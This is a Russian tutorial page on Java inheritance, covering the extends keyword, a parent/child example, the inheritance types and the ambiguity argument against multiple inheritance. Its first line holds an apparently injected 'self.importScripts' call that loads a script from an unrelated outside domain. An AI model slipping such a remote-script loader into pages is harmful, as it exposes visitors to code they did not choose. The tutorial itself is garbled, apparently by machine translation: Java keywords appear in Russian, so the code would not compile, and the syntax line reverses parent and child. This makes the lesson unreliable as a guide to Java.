google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Наследование в Java

  • Создание нового класса из существующего класса называется 
    наследованием.
  • Наследование используется для достижения динамического связывания и 
    повторного использования.
  • Унаследованный класс называется суперклассом или родительским 
    классом, а класс, производный от родительского класса, называется подклассом или 
    дочерним классом.
  • Наследование реализовано с использованием ключевого слова extends . 
    Просто взгляните на синтаксис ниже.
класс parent_class_name расширяет child_class_name
{
                // тело
}              
  • Все свойства 
    родительского класса переходят в дочерний класс, если они не являются частными.
  • Пример того, как наследование реализовано в Java, 
    приведен ниже.
родительский класс
{
                Строка 
name = ”Mark”;
}
дочерний класс расширяет родительский
{
                void 
show ()
                {
                                System.out.println (имя);
                }
                public 
static void main (String… s)
                {
                                child 
c = new child ();
                                c.show ();
                }
}
  • В приведенном выше примере имя переменной  по умолчанию,
    поэтому оно доступно в дочернем классе. Если мы делаем имя , как частное, то он будет показывать ошибку как «имя имеет частный доступ в родителю».

Типы наследования в Java

  • В Java существует три типа наследования: одиночное, 
    многоуровневое и иерархическое наследование.
  • В Java множественное наследование не поддерживается классом. 
    Интерфейс может реализовать множественное наследование, позже мы обсудим 
    это.
Типы наследования в Java

Почему множественное наследование не поддерживается в Java?

  • Чтобы уменьшить сложность и неоднозначность, множественное 
    наследование не поддерживается в Java.
  • Рассмотрим ситуацию, в которой у нас есть три класса A, B и 
    C. Класс C наследует класс A и B. Если классы A и B имеют метод с одинаковым 
    прототипом, и когда мы вызываем этот метод в классе C, это вызовет неоднозначность, поскольку 
    компилятор будет сбит с толку то, вызван ли метод из класса A или вызван метод 
    из класса B.

Комментариев нет:

Отправить комментарий